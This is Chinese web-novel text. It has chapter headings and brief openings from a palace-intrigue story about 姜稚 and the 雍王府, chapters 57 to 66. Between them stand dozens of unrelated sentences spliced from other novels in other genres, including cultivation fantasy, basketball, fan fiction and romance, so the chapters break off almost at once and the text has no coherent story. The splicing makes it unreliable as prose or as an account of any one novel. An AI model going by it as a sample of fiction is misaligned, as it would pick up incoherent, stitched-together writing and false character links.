他的手指移向北方,“再看这里,雁门关外的互市点。商行的车队将江南的茶、盐、丝绸运至此地,换取匈奴人的良马、毛皮、药材。”
“此举已经获利,更关键的是,在一定程度上缓和了边境威胁。而换回的马匹也已经充实军备,毛皮药材惠及百姓。”
“他们每一趟行程、每一次交易,都需要周密计算,平衡风险与收益。”
姜稚听得极其认真,黑曜石般的眸子随着父亲的手指在地图上移动,小脑袋里飞快地消化着这些信息。
她不仅看到了“生意”,更隐隐触摸到了这庞大商业网络背后,与国计民生、边防大策紧密相连的脉络。
【原来‘稚川先生’做的,远不只是赚钱…】
【他像是在下一盘很大的棋。盐政、边贸、甚至民心,都被他考虑进去了。】
【这需要多么长远的眼光和强大的掌控力啊…】
钦佩之余,一种想要理解这盘“棋”如何下的渴望,在姜稚心底悄然滋生。
她的心声自然而然地流淌着钦佩与思索。
姜肃听着,心中欣慰。
第一卷 第57章 敌人的暗箭,悄然射出
雍王府,书房内。
姜肃伸出纤细的手指,小心地点了点地图上连接南北的一条主要商路中段。
正说话间,却猛然察觉出不对,一回头,顾君颜却清楚地看到,在朱烈鸟的身后,还有着一朵红云,在天空中发出暗沉沉的颜色。
盛唐之后,整个中土神洲分崩离析,处于四分五裂的局面,只有一统华夏,才能抵御大食帝国的进攻。
诸皇子中也只有二皇子雍昀可以与之分庭抗议,但也被大皇子雍坦诸般打压,显现颓废之势。
因为他已经看见,以严大头为首的几个同学,手上正拿着污泥团在袭击周围的同学,已经有好几个同学都被打中了。
进门前的汉白玉台阶,紫檀木桌椅,以及现在捧在手里的上好青瓷杯……顾君颜被这样财大气粗的气息镇住了。
昭和公主宁琰年少时曾与丞相之子薛鸣均相恋,后先帝驾崩,薛氏一族力保宁琰登基。
他的真气灌入其中,完美的掌控了这把等同中阶灵器的断刃,即便是不完整。
这世上,除了寒朝歌之外,江暮曦还真的没有见过这么帅气又气场强大的男人。
他此刻,连刀逆法则都是融合了,达到了八玄之力的巅峰,他化身一道银光,不断冲刺。
这里没有蒙古包,地形也不在如之前那么平坦,看起来有些荒凉,完全看不到人的踪迹。
饿极了的李强和柳梦琪如同风卷残云,把桌上的所有菜一扫而空。
果不其然,三年之后,血轮老祖勇猛精进终于成为了千百年来继达摩之后靠武道修成金丹的第二人。却在突破之后走火入魔,狂舞七天七夜而毙。
伊巴卡只觉一片巨大的黑影笼罩过来,接着传来一股无可匹敌的大力,自己瞬间就飞了出去。
埃克塞温的佩剑是标准的精灵细剑,纤细的剑身仿佛是一根缝衣服的针,在黑暗中散发着柔和的萤光。萨温虽然不懂兵器,但他也能猜出埃克塞温的剑应该是一件宝物,此前他还从来没见过会自己发光的武器。
“到时候见招拆招吧,我想她也不会和钱过不去。”彭浩明觉得保住王立成的命问题应该不大,但王立成说的渠道,彭浩明心里还是有个问号的。
众人的身后,那两个士兵的声音已经传来。但众人的身影早已消失在门前。
众人发现,翔龙手中飞出去的那个水泡触碰到要亡灵的身体后,瞬间变大十几倍,更是将那些亡灵包裹在里面。
“这就是异世界吗?”看着一望无际的大海,萨温自言自语地说道。
“咚”这个球李强投的有点短了,不过球正好被弹向李强自己这个方向。
“那是自然,我可是你的粉丝。”墨客笑道,他也没想到在这里遇到刘菲。
就像以前高中分科,你想驾驶哪一台机甲,你就得学习关于这台机甲的各种知识。
皮茨菲尓德是马萨诸塞州的一个工业城市,有一说一,德鲁斯非常讨厌皮茨菲尓德,在那里,每天都是数不清的雾霭。
两人不停留一分一毫,跟着安利娅直奔出口,在路程中间还遇到了几个陷阱,其中是一个腐蚀陷阱。
第一卷 第58章 镇国公主雪夜遇劫
皇帝的御辇尚未驶出西华门,消息便如暗潮般涌来。
总管太监赵德全跪伏在雪地,额头抵着冰冷青石,声音压得极低,却字字颤抖:
“陛下,偏殿走水。安宁公主…被烫伤了。”
这个时辰还没有回来,唯一的可能就是因为秦礼沐根本不在宫里了。
要想将云凤鸣就出来,裴君临只想到了一个办法,那就是利用生命之树暂时给云凤鸣提供生命之力,然后再趁机将两者分开来。
“就是元神里你所能领悟出的剑意与剑的本身散发出的意念产生的共鸣。
明天的霍格沃茨,一定会很热闹吧?可惜她明年才能去那里上学。
时间不长,九宫真人就开始出手破阵,只见他将一枚枚制作好的磁髓、玉石、铜片等阵基,射向地面和虚空中两个不同的方位。
“咱们千万不可轻敌,这伙强盗可不简单。据说这伙强盗当年也有妖王的背景,那妖王被青牛圣地剿灭之后,这伙流寇就一直在青牛星上为祸不浅。”张慧子一边行走一边朝着裴君临和南天两人解释,这次任务的要点。
跪在底下的那名下属一时之间不知道如何回答才好,这种事情怎么问我们呢?他们不是主事您的亲卫吗?他们的行踪我们怎么可能知道?
“这样他们如果是没什么动向的话就暂且不要理会他们,理会他们对咱们这个局面也不会有什么影响,咱们还是做好咱们的事情就可以了。”宫羽心淡淡的对着赵一辰吩咐着,使得赵一辰紧皱着的眉头,缓缓地松了开来。
“现如今咱们这城池之中的战场之上的结果已经决定了咱们到底能不能站稳脚跟,夫人可是不知道我如果要是咱们这个结果有些不大好的话……”正当叶沧准备与兰夫人说出这些的时候,却被兰夫人的眼神制止。
话音未落,却见宫羽芊右脚踢上龙头的一瞬间,脚底忽然冰蓝光芒大盛,随即一道剑气自宫羽芊脚底激发而出,顺着龙头横劈而下,直接,便将那道龙影整个削去了大半。
李奇锋宛如是一个无助的孩子,缓缓地走到张爷爷的身旁,轻声的问道。
略微研究了一下,祁峰拨通了罗沁心的电话,既没有以往的那种流里流气,也没有在咖啡馆的霸气,而是冰冷不带一丝人情味的声音。
随即在归来的族人口中得知,这样一个看起来清瘦的人,居然一招就击退了气势汹汹的水魔一族。
他的实力能够与樊未离相较,加上手中还有把青冥剑,虽说剑道境界没有樊未离高,但和没有神剑的樊未离相比,大家也是半斤八两。
不管陈云如何攻击,对方同样以相同的速度和力道进行抵抗,陈云没有讨到半点便宜,反而是累得不轻,自己消耗的真气实在是太大了,现在这个阶段,陈云还不足以长时间施展这等变身。
“不想死的就给老子学鸭子叫,不然老子一枪崩了他!”祁峰衣服亡命徒的样子,一边挥动着手里的手枪,一边吼道。
之前卡卡西还以为最先开始出现的那些雾忍暗部是追击再不斩又或者是辉夜一族的人。
“宫泽师兄,怎么了?我就想教训一下……”刘欢见到来人是宫泽,态度立马就恭维起来,没有了刚才愤怒之色,刚说出一半的话就被宫泽扇了一巴掌。
第一卷 第59章 北疆孤狼奔袭而来
一个秦迎香,他已经在自责之中难以处置了,到时候自己若是说明身份,就此带着她离开,她会答应吗?虽然说离开了不是不回来,但终究是两个不同的世界,出身所在之处,早已经牵绊太多,谁能够割舍得下?
如今云志昊身体恢复,刀气重新凝聚。卫鼎天的到来,彻底改变云志昊的一生。云志昊心中怒火燃烧,当听到父亲要夺回昊玥岛的时候,云志昊心中还是一软,云志昊不管什么血鲨岛,昊玥岛一定要重新夺回。
“子、子谦,我们要去哪儿?”盛子谦居然抱着她进了一个黑暗的长廊,她慌张又无力地问。
叶繁落的外公贺震天曾经是魔界的魔帝,至于寒月乔自己更是曾经大闹过魔界,也短暂成为过魔界的首领,这些魔族之人先前可都亲眼见识过寒月乔的厉害,因此在见到寒月乔的时候才会流露出那种眼神来。
如今他林玄不但进阶灵体七层,还坐拥御天敌、青角两大凶兽,对石无道再无半点忌惮。
而中医因为随着近代数百年华夏的沉沦,很多东西被埋没了而已。若是中医真的没有用,屠呦呦凭借冷萃取青蒿素获得诺贝尔医学奖,难道也是幻觉?
说着秦越双目灵光跃动,直接落在了霸道大哥的肩胛上,灵枢真经第三重境界的神级透视眼,已然开启,这哥们身上的每一寸发肤都逃不过秦越的目光。
此刻又多了一个秦越过去,何云野肯定是不会想要他过去添乱的。
依旧简单的一剑,这一剑斩出,犹如地动山摇,菩提山的山门都在晃动,远处的大山当中,惊起无数的飞禽。
元无悔说完手中的劫魔剑已经慢慢指向老者,身上雄浑的法力浩荡而起。一道道裂纹从元无悔的脚下扩散开来。劫魔剑剑锋闪烁着黑芒,吞吐不定,临空幻化出剑莲。
动物和孩子是所有导演都头疼的两种演员,毕竟你完全无法沟通,只能是一遍一遍的推到重来和寄希望于训导员的技术和运气。
同样的,再接下来,刘玄德拒绝了公孙瓒的挽留,预备回去自己的军队的时候,公孙续也没跟公孙瓒多说两句话。
张六翼神色慌张的跌退,旁边老鹰一声厉吼,浑身骨节“噼里啪啦”爆鸣,发出炒豆般的密集声响,随即一步跨出,便挡在了张六翼身前。
吃完下午餐,没课的封夕带着那个神奇的放大镜来到了操场,继续着自己观察世界的大事。
你从此之后,也有了一个形体,以真龙为根基,神门越强,你也就越强,等到有朝一日,规则愈发完善之后。
沐茗斜睨了身边笑意弱了几分的谌荣,心里这才有点缓过味来。王中磊这是在接着说他,实际是说谌荣,不对,是说完美影视呢。
他也就之前才得知,原来因为叶静雯的跆拳道课时是安排在周六日的上午,于是乎他的课时也被相应地安排在了这个时间段。
“银子!”燕赤火脑海里立即浮现一个大大的问号。他来到这里,身上何尝有半个铜板?
“啪啪啪!”说完赵子虎一扬手中的长鞭,一甩三响,吓得那些机灵的孩子们立即跑出了校门,开始老老实实地绕着围墙跑了起来。
陷入黑暗之前,萧采芙的耳边,似乎始终萦绕着魔鬼一般的咒语。
整个天空都似乎化为了一面镜子,被这个黑色魔球的强大力量倒映成了一片黑色。
潜意识里。她几乎早已经认定了。是楚卿那个男人带走了她。才让她的记忆出现了如今这样混乱的局面。她心里也明白。她是不该这么问的。问了。也许就是一种伤害。但是很多事情。她比谁都急于知道真相。
左边,是一架巨大的钢琴,只是模样有些奇怪,看起来,似乎比她睡觉的床还要大。
今日元洲来的青年在皇家脉术学院到处拉帮结友,还趁机向不少老生挑战,攻略学院前五十行列,自然出了不少厉害的角色。
经过这次的事之后,惠彩对韩在承有了另一层面的改观,对和韩在承结婚的态度,也有了大的反转。去韩家的次数,也每日提升。
在公子子堤细细的酣声中,玉紫一边出神,一边不紧不慢地给他按摩。
“那我倒真想知道你如何让我的谎言拆穿。”赵逸勾起了嘴角,淡淡的往前走了一步,而那锋利的长枪却是硬生生的顶在赵逸的面前,硬是不退半步。。
“少废话!”萧采芙撇开头,拒绝让自己被楚卿眼睛里那一抹深沉的痛意所影响。
还好那些鸡也并不是那么难对付的,所以老关几脚就把那些鸡给踢到了一边。
姬七夜身形一动,如玉流金的身躯化作一道遁光,蜀剑宗的护宗大阵如玻璃一样脆弱,轻易间就碎了一地。
最复杂的是下巴部位,因为我是长形脸,下巴有些尖,需要改造成方形的下巴,这就需要将硅胶泥的粘性与硬性调配得很好,按照脸部的线条一点点黏上去。
旁边还有一张白纸,上边写着一串咒语,这个是需要焚烧那两道符的时候念的。
佛门只是旁支,张凡又不是佛门子弟,真正论起来,张凡应该是属于阐教的,他所修炼的鬼道功法就是阐教的传承,而且,他也是后世九幽的冥帝,他应该算是阐教的弟子,佛门向阐教的子弟发佛鉴,天底下哪有这样的道理。
从飞机往下看去,高楼大厦鳞次栉比,五颜六色的霓虹,为这座城市披上了鲜艳的外衣。
密室应该是人为修建的,周围有很多枯化的人骨,兽骨,还有许多卷轴古籍。
第一卷 第60章 护国寺内杀机已至
腊月十四,及笄礼前最后一次外出祈福,便定在这天。
于是乎曲弘毅把所有的精力都集中在董占云身上,发现董占云在来举火宗的时候就已经是半步宗师的修为了!最重要的是关于董占云的战斗力一直是一个谜,至今还没有多少人看过他出手。
,最好是高层的人物~!”董占云这一句话点醒了魏子贤,于是魏子贤赶紧传音给鬼神宫的人。
徐牧森开着车,在后视镜看着这姐妹俩,他突然觉得,有一种一家三口出去的感觉了。
男生忙摆摆手拒绝道:“不了不了!我是来给你送补给的,刚才比赛你一定口渴了,所以我去学校超市帮你买了一瓶矿泉水。”说着将手中的矿泉水递给王轩龙。
“陈,这个好办,我这次带来的舰队中有三艘大型战列舰,可以配合你们开展战术演练”提尔皮茨说道。
尽管是放假,但学校里也并不是一人没有。很早,操场上便有几名勤于早跑的住宿生相约来到操场开始晨练,也少不了两名身影魁梧的体育老师。清净的校园,就沉浸在早晨那短暂的安宁中。
“斋藤君,帝国海军这次是被支那国防军的潜艇击败的,我们为什么不发展潜艇力量呢?”首相西园寺公望问道。
这人正是史炎初出江湖,救冷剑锋的时候,那出卖了自己兄弟,从而得以逃出的江东七雄的大哥。然而,现在的史炎却不认识他,他只是疑惑的看着眼前的大汉,手上紧了紧。不管这人为何认识自己,一战是不可避免的。
“三哥,我是不是买贵了?”彭墨乌圆的眼珠看着彭昊,怯怯的问。
不去看老板娘打滚骂街,徐牧森和竹妤兰对视一眼,都露出一抹笑意。
林修也长叹一声,彻底明白了为何一开始崇云说密林中的那些化为阴邪之物的残魂生前是可敬之人。
陆半城几乎将能去的地方,全都去了,甚至就连吴昊的公司,他都去逛了一圈,却还是没找到许温暖。
“行,孙哥,这段时间真是辛苦您了,我抓紧找,到时您也能轻松点。”孟涛一脸歉意的说道,他发现一个星期没见,本来就干瘦的孙守旺比以前更瘦了。
“什么鸳鸯?”吴羽有点茫然,把香炉放到桌面,准备好好看看。
“怎么,看傻了,有什么事就说。”费南刹感觉了无虞一直盯着自己,冷冷的说。
赵韪、任岐挥兵猛攻成/都一日,折损了不少人马,眼看着成/都将要攻破,只差一步便能在叶昭之前夺城自立,谁知张辽突然杀出,趁着成都空虚之际,先他们一步破城而入,哪里肯放手?
何仪、陈策、高志远、赵二狗、彭虎等人齐齐看向何安,无形的压力在此刻悄然蔓延开来。作为一名实力堪堪只有5阶的职业者,面对天策府9阶悍将的注视,心中仿佛出现一座巨山让人喘不过气来。
塑料颗粒的事已经解决,有每天从渭河村那里收来的三十吨塑料颗粒,每天系统每天生成的十五吨颗粒也就有了掩护,孟涛悬了几个月的心终于放下了一些。
第一卷 第61章 栏杆断处,他踏松而来
护国寺依西山而建,殿宇错落,古木参天。
积雪覆盖着青灰色的屋瓦和苍劲的松枝,给古寺更添几分肃穆清寂。
有人想着,黑贤者明明受着教会的教育,却堕落成了法师, 真是不堪造就。而有人则想着, 黑贤者本身也许曾经是个信徒, 但却被教会的灭法行动给逼成了法师, 这无疑是让人又是同情又是遗憾的现实。
沈勇的脑子虽然不太光灵,但藤原一郎想激肖涛继续打的意图,他还是听得出来的,藤原一郎想让肖涛吃瘪,他怎么会让藤原一郎得逞?就算他很想继续打,此时也说不打了。
殷怜给岳安晴提了个意见——想要从这件事里安全脱身却不想造成任何负面影响, 逃避或者无视整件事是没有用的。所谓富贵险中求, 想要得到什么,那就要付出代价。
她之所以不能毁约,不能提前提出解除婚约的要求,最重要的原因,说到底还是报恩。
叶瑜听到这句话条件反射的说道,“那是,想我,,”可是他还没说完顿时闭上了嘴,因为他听到声音是从背后响起的,额头豆大的汗珠往下流,然后笑出一个比哭还难看的笑脸,转过身看着阴沉着脸的蓝兮。
古辰无奈。虽然感觉到那里的气息。但是他不能放任暮雪不管。于是暗骂了一声。。飞羽从背后飞出。然后御剑向暮雪追去。
若是北宫世家的幸存者,见到昔日的强敌并没有死去,不知会作何感想。
“等等,我会走,不过我想知道你们到底是做了什么交易,你们跟义母做的交易对不对?”此刻,苏牧还不知道宫夫人已死,不过他很聪明的猜到,这世界上除了宫夫人,再也没有人会对他好。
她越是这样拿捏着不说,清颜的心就越像被人牵扯住了,不上不下,不左不右,可就是回不到原本的位置上。
“相爷怀疑是谁所为?”清颜屏退了左右后,卧房内独留她跟宫壑丘。
可是从孙若丹嘴里说出来的话又由不得他们不相信丹没有任何的理由说谎,捏造这样一个谎言对孙若丹来说根本没有什么意义。只要那个神秘的生物没有死亡,孙若丹的谎言就立即会被揭穿。
伊凡疑惑不解,蓝羽这样半夜闯进吉叔叔的处所,想必事情很紧急。
“必须的。大队长借一步说话。”沈铜和沈耀青到了一个没人的地方。
年轻人是个高大健壮的白人,但因失血略显憔悴,又因麻药失效不停皱眉,显然十分疼痛。
大哥……大姐阿诚哥……明台……曼丽……老师………骑云,明凡仿佛在阳光中看到他们转身微笑看着自己,他想伸手上前抓,却被铁链拉了回去,他愣愣看着铁链,刚才看到的人都消失了,他出现幻觉罢了。
“也对”了解安琪拉的苏珺自然知道安琪拉惹人喜爱的程度,大家学院公认的校花,没人爱才怪了。
巴秀留客用餐,瞫梦龙因答应了即将赴石城军营就任的郑戎之约,辞别出来。
有人道:“请果行人放心!我发誓,战死为止!”显然,这名武士是不愿下天坑的。
第一卷 第62章 寺中血,雪中郎
春花前脚刚走,秋月便走了上来,看着花重锦一副欲言又止的模样。
黑蓝之气挣脱了老者白气凝成的绳索,向着老者冲了过来。老者右手的白气立刻变成了一面盾牌,挡在了老者的面前。越来越浓郁的黑蓝之气,想要冲破屏障,似是知道这白气的主人是老者,只有将老者击垮就能出去了。
对于卫半夏的天真,陈营有些欣赏,但更多的是觉得可笑,这就是典型的属于没有经历过社会毒打,认为整个世界非黑即白,对的就是对的。
花重锦准备随便找个借口将凤云泽支开,这件丢人的事情,还是越少人知道的越好。
而苏木虽然修为强大,在吞噬三尸莲子时,祭炼肉身,如今就算是普通飞剑,对肉身也造成不了多少伤害,但苏木可没有傻到什么都告诉这些人。
“这儿是天凉国南域,水火宗的势力范围。雍州城在最北边,是天凉国的势力边缘,比邻妖族!”李鹤回答道。
李志果和林忠明最关心的就是那两只皮箱,当他们看到皮箱完好无损,又经过苏梅的确定,皮箱没有被打开,两人彻底把心放下来。
以王级实力重伤一名帝级还是满状态?不管是不是装的,能装成这样也说明她损伤不大。
而名为引灵大盘的飞行法宝,虽然失去老者的控制 ,但其速度却丝毫不减,依旧在飞行之中。
“还愣着干什么?所有刀客随我走!”黑陀面冷心热,当即就跟在了南宫羽身边。
火麒麟的实力没有想象中高,并懂得主动逃跑,也就说明夏阳在这凌云窟内几乎已经可以横着走。
知晓了眼下的大致背景之后,现在唯一的问题,就是不知道剧情时间是在故事线的前还是后。这电影一共有三部,除去第三部是另外一个故事之外,前两部跨越的时间并不短,他并不知道此时故事到底有没有开始。
可是,苏影湄虽然知道,沈风一定不想让杨百川看到她这个样子。但是现在,沈风的身体才是最重要的不是。
他心中怕是在想,到底是什么病如此严重,三天两头就晕倒,而且,此时一回到医院,就直接进入重症抢救室?
慈安深怕皇上沉不住气,说出什么意想不到的话来,于是赶在皇上说话之前开口了。
凌秒听到那人的笑,顿时停止了挣扎——他可不想被别人看笑话,更何况是绑架自己的人。
对于地龙的话,四位公使相互看看,一时间无法回答,刚才的现场的确让人摇头不已,确实是他们的商人们太无礼貌了。
慈安说完之后要看着袁世凯好久好久,在他的心中已经将袁世凯当做异己分子去对待了,慈安虽然没有将袁世凯直接给批评了,但是显然是在关注袁世凯,你的那种想法很不适应我大清朝的现实状况。
我挥了挥手让他离开,自己走了进去,我便去会一会这么白虎护法是什么货色。
两个大男人看样子是在外面等了一会儿了,因为没空调,他们都是满头大汗的。
萧子川连缠绕冥河神焰的漩涡拳都施展出来了,却仍旧难以撼动另一个自己分毫。
蛇老看着远处的夏末秋,只是手掌微微往下一压,空中就传来巨大的压力把他再次给压趴在了地上动弹不得。这一手完全是对力量的掌握,也完全是更高星的星空能力,更是完全的压制。
“苦海无边,回头是岸。虫子,你既明知自己身有罪孽,为何仍要执迷不悟呐?”吴常摇头叹息。
李铭翻了个白眼,用右臂不断地拍打着酸胀的脖颈,感觉脑供血都不足了。
这次都不用苏辛出手了,一看苏辛停手,这些家伙自个儿就赶紧站了起来,然后都很自觉的下了仙柳峰。
“传承物品么?!!!看样子我应该是要去一趟了。”李铭微微一笑,满脸戏谑,他准备为王浩获得了传承任务而’庆祝‘一下。
那件神器能够抵御它所有的攻击,它最凶狠的天赋神通在这座水晶塔面前完全没用,也正是因此,它现在想要对苏辛下手,就要先一步防范苏辛会钻进水晶塔里。
“干掉一个”沐薇略微喘息的说道,身影一闪又往附近的熊少那边支援了过去。
图巴哈和萨朗对林凡怒目而视,眼看着林凡飞身上马,向哈克部落急奔而去。他们两个也只好在后面打马追了上去。
忽得,闻琴解佩抽出长剑,萧子川一指弹飞两人手中剑,皱眉看着她们。
她们回到村子里的时候,午时早就过了,路上古婶娘已经说了许多养鸡要注意的事宜,如今家里还有一堆的活等着她去干,等把清歌送回来就匆匆走了。
她正想说话,就听见地宫的大门开了,颀长高大的身影缓步走了出来。
不过那罪臣之子慕容澜竟然还敢出现在这里,戳了主子眼不说,还和主子的心腹之臣柳将军有牵扯,难保主子不会多想。
第一卷 第63章 十三皇叔听她剧透
这边,姜稚被秋露紧紧搀扶着,小手冰凉,目光却不由自主地追随着那道玄色身影。
为了救阿林,姜亿康立即从地下潜入到衡山之下,想到找到竹林阵的破绽。只是没想到红孩儿却抢先破了竹林阵,救了阿林。
多等于是好,只要你说你们儒家或者是墨家说的好,听起来有诱惑力,我就信你!结果!就有了“朝三暮四”的成语典故了。
叶晨首先看向功法一栏,虽然心里有所准备,但还是有种亮瞎眼睛的感觉。
现在正在欢呼生命之水回归的不只有力壮和摔跤鹰,峡谷中的其他神奇宝贝也同样手舞足蹈的欢呼着,从它们脸上的喜悦表情来看,今天无疑是一件皆大欢喜的日子,说不定还可能会载入历史中的某一页上。
他发现自从洗白重生以后,自己真是变得越来越善良了,莫非是人性的回归?
修行界的战争很多时候胜负都是由顶尖战力来决定胜负的,虽然论实力他们仍然远不及拓拔部,但夜帝大人这一赢,这场战斗他们就已经先立于不败之地,有赢无输。
姜亿康大叫一声,全身法力运转,瞬间筑基高阶的修为全部爆发了出来,再一次将木杖向上顶出了几分。
然而,这个帖子一直被高高顶起来,回复数早已经突破了百万,全都是清一色的“你”字。
足足倒飞出去五六丈后,魏成化终于卸掉了身上的力道,他口中有些腥甜,有丝丝血水从嘴角溢出,显然他还是受到了点伤害。
他刚走几步,就撞上了一只在空中飞舞的蜜蜂,他挥了挥手,想要赶走它,眼珠子还不停转动着,追逐蜜蜂飞舞的踪迹。
风夜雪不知道该怎么办,也不知道该做什么,但是他知道,他不想死,也不敢死。
韦德在距离三分线两步远的地方运球,似乎一点也不着急进攻。‘闪电侠’看着记分牌上显示的进攻时间,等待着最后8秒钟到来。
叶安简单整理了一下发型,手捧鲜花,姿势优雅地走下了直升机。
就在锦色离开后不久,花清越也披了斗篷,在左右的护送下去了步府。
这些人,都是华夏目前最强的一批人,都赶来了。就是冲着这个即将出世的秘境而来,早早就感应到了这里的波动。
至于出入昆仑墟秘境的通道,没有了古牧炼制的玉简钥匙,想要进入秘境,那是不可能的,而古牧留给四神组的那两枚玉简,作为四神组最重要的物品,被东方鹤亲自保管。
当然也有一些男生看向千反田的眼神中的爱慕就算是瞎子也能感受到吧!这倒是让千反田很尴尬,虽然她倒是不怎么担心折木会胡思乱想,毕竟折木并不是占有欲特别旺盛的人,不过她还是有点担心他会吃醋的。
“你到底是谁?”压制着心中升起的惊恐,战顶天神色阴沉的问道,他实在是想不到这遗迹大陆之上,何时隐藏着如此强大的元神,几乎是自这片遗迹大陆被发现以来,就没有过合道境修士陨落在此。
“哇……这耐不住寂寞的家伙……”入眼的情景让艾迪生半是无语半是艳羡地低声感慨道,他倒是挺佩服格兰杰的“交友”能力,他自己到现在还处于遇到陌生姑娘都不知道该怎么开口接触的阶段呢。
第一卷 第64章 接风宴前,暗潮涌动
腊月十五,寅时三刻,雍王府的灯火便已亮如白昼。
今天宫中设宴,为北疆归来的十三皇子姜寒川接风洗尘。
【乖而不野】:大大顺便也把隔壁的福利漫画更新一下呗,嘿嘿。
毕竟,以前也出现过这样的情况,她更着急了,一会儿不会打起来吧?
因为是在老宅,她跟他坐得不近,夜千宠时而看他一眼,怎么看不出他到底还生没生气,以至于她这顿饭都心不在焉。
萧墨君用上废太子所有势力,不一心辅佐胞兄,好像、谁当皇帝对她影响不大?
食堂正对花园,花园在山崖边上,往下能见到海,花王打理得太好,花圃的花枝繁叶茂开起来,海与城市一起从视线里消失,只能看见湛蓝的天。
李静怡看着余生掩饰尴尬一样咳嗽了一声,安全带都没有带就发动汽车,轻笑着俯身过去给他系安全带。
平日里多呆一刻都觉得会被闷死的皇宫在这一刻好像没有尽头,天上乌云涌现,风吹的树影摇曳如同鬼魅,这一路奔波,终于在力竭之时,推开了母亲的房门。
延龄心想,许王府太作。因为两万三千顷田,竟然要兄弟封王。还要诸子请封。像萧褒也想封国公,萧炵儿子多不够分。
众人哀嚎,一脸的不可置信,从上一期节目,大家对夜莫星已经有一种迷之信任,大概认为这世上就没有她解决不了的事,然后即便听不懂当地语言,他们也是一派轻松。
“真的?”王喜姐又惊又喜,直接从炕头跳到了地上,不可置信的望着张佑,生恐自己听错了似的。
宸王轻便地跳上了马车,回身将手递给她,想要拉她上车。但是容菀汐却装作没看见,只是面色平静地、目不斜视地顾自上了马车。
宋雅竹想,杨晓声最近正愁没理由打压自己,这好不容易逮到自己迟到,肯定是要说自己一通了。不过正好,宋雅竹的确也有事要跟杨晓声说,于是没有拖延,一放下包边跟着杨晓声去了他的办公室。
一边喝着茶,一边看着戏剧。二人在这种平淡之中,时间不知不觉的在悄然流逝着。
张角眉头一皱:“何事如此慌张?是不是官军增援部队赶来了?”说这话的时候,张角一脸不屑,方圆三百里的县城有多少兵力,张角一清二楚,来一两股官军增援也在意料之中。
不光如此,另外更让人觉得奇特的是,食人魔树的枝条完全不会像柳树那样全部堆积在一起。它竟然是分三层生长的。从二百米的高度开始,大约每隔百米左右就会分叉出现一批。犹如松树的莲蓬一般。
一想到这,诗瑶就不忍心去利用他。更何况,他们是朋友,她怎么可以出卖朋友呢。
那是熙给她的东西,可是当他看到她要卖掉的时候,却还是会生气,胸口处,仿佛在翻滚着什么似的,血液都在朝着某一点汇聚着。
卫亲王微微的笑着,他看着诗瑶,仿佛又看到了当年那个在战场上意气风发的云烨。
叶姗姗也没拦着,就告诉我少喝一点,晚上早回来省得她担心,我觉得这次在一起以后,叶姗姗比以前强了好多,尤其是学会了主动关心我,以前她虽然也特别关心我,但不会像现在这样主动说出来,弄得我特别温暖。
第一卷 第65章 北疆雪未融,京城网已张
惊蛰对着姜稚轻声禀告道:“奴婢昨夜去了城西那处私宅。”
姜稚的指尖无意识摩挲着梳妆台上的螺钿花纹:“有什么发现?”
可是,这两个区域也在急剧的收缩着,距离被冥界大军和海族大军淹没的时间也越来越近。
所以,张召看的很明白,知道自己这边的牌面,也知道对手那边的。
“你说什么?”孤月的耳朵可不像没醒之前,康氓昂嘀咕她听不清,现在他的嘴角只要一动,孤月就能听到。
爆炸起了连锁反应,喷枪马吐出的那一连串气泡都发生了大爆炸,达瑞三人这会儿也不干别的了,一个个捂着耳朵,将身体缩在岩石后面,不然的话,一定会被爆炸所产生的强烈气流给吹飞了。
但,白实秋不认为这是他的胜利,他本来也不想拿这个什么胜利,他原来记得唐人是挺了过来,这蔡毅侬也是撑住了,虽然确实很惨,但还好,得益于高涨的房价,蔡毅侬后来是把自己的房子抵押给了银行才撑过去的。
然而今天,一个只有金丹期一重的家伙,让他见识到了什么叫做魄力,什么叫做可能性,从进入秘境到今天,他终于看到了自身的差距,也终于觉察到了以往的他,似乎缺少了些什么。
马汉东?孙涛又是一怔,尽管之前从没见过本人,但这个名字不说如雷贯耳,却也差不了多少,他曾经听到家族长辈不止一次提起过。
于是乎,这个编剧扶持基金就自然的出来了,而且,大家一合计,干脆搞一个时髦的吧。
“不知道,老规矩,我卖了钱后给你存进去,最少比报社的钱要多十倍吧。”周林引诱道。
坐在正位的自然就是杨家现任家主杨威廉,看起来四十多岁的年纪,事实上已经两百多岁了,杨竹君对他而来算得上是老来得子,也是他最为得意的一个,此时他的心痛可想而知。
箫九儿没跟他客气,反正他家已经穷的只剩下钱了。而且这钱也是她应得的。
先不要说把这么多布料搭到身上会有多热,就算光是站在原地都觉得层层的衣服限制了动作,穿成这样连抬个手都不容易,无疑是大大增加了跳舞的难度。究竟是哪个笨蛋提议穿这种反季节的衣服跳祭神之舞的?
在如此手段之下,没有人会相信沈浪还能逃出升天,甚至沈浪连全尸都不会留下。
“解铃还须系铃人,不管怎么样,你先得让他充满斗志的活下去。”他说完,不给唐瑾准备的机会,推开门把她塞了进去。
山田成一在这里,已经有过不少龙国人去挑战了,奈何最后的结果,无非都是山田成一胜利,龙国人败北而已。
看着对面的商明月,其实,我很想对她来一句“如果道歉有用,要警察干嘛”的。
只看施梓跟被他圈禁起来的孔雀混在了一起,而且还要来探他这秘密基地,就知道必然是来者不善,所以他自然也不需要给什么好态度,只需刀子相迎,但也要弄明白施梓的来意。
做梦,肯定是在做梦!暗自拧了一下自己的大腿,好痛!好象不是做梦。
第一卷 第66章 麒德殿内暗刃藏
面前是一条阻塞难通的山路,山路中央便堵着一块发红的岩石。这块岩石虽然发红,但却不会发热,原因便是从活火山喷射下一块岩浆所形成,日子已久,虽然仍显通红,但已失去了热气。
“这里有份材料你看一下,只要签了字,咱们就是一家人了,日后要什么有什么,怎么样,”王迪将那张纸交给欧阳。
“你要找的人已经从这里逃跑了……”,那人指向沙发后的一个柜子。
我猜美杜莎是有点将错就错的无可奈何,幸运的是后来萧炎不但有着庞大的势力,更是有了强横的实力,也娶了彩鳞,但是萧炎心中第一位的永远是薰儿,这对彩鳞就太不公平了。
李知尘心中明白,并不作语。体中元力一转,已能发挥三成元力。不再是之前毫无抵抗之力了。
你觉得我在利用他,是因为你只会利用别人,你想不到人与人之间还能有其它美好的东西存在。
当这一道浩荡的声音徐徐落下的时候,三名衣冠很是严谨的古族长老便是面色严肃的自不远处的席位上站起,然后进入广场中央,此刻的那里,已经是有着诸多的道具,古族的成人仪式,相当的繁琐。
她的人影骤然消失,紧接着郑气就感觉到自己后背心脏处的位置强行闯进了一股蕴含着无尽生机的勃勃暖流。
落于飞哈哈而笑,脸上狰狞可怖,道:“杀!杀!都给我杀了!我让你们敢笑我,让你们敢笑我!”旁边的老者与黎瑾都感到落于飞有些失控了,却也不知道为什么,更不敢上前劝说。只能继续布置着阵法。
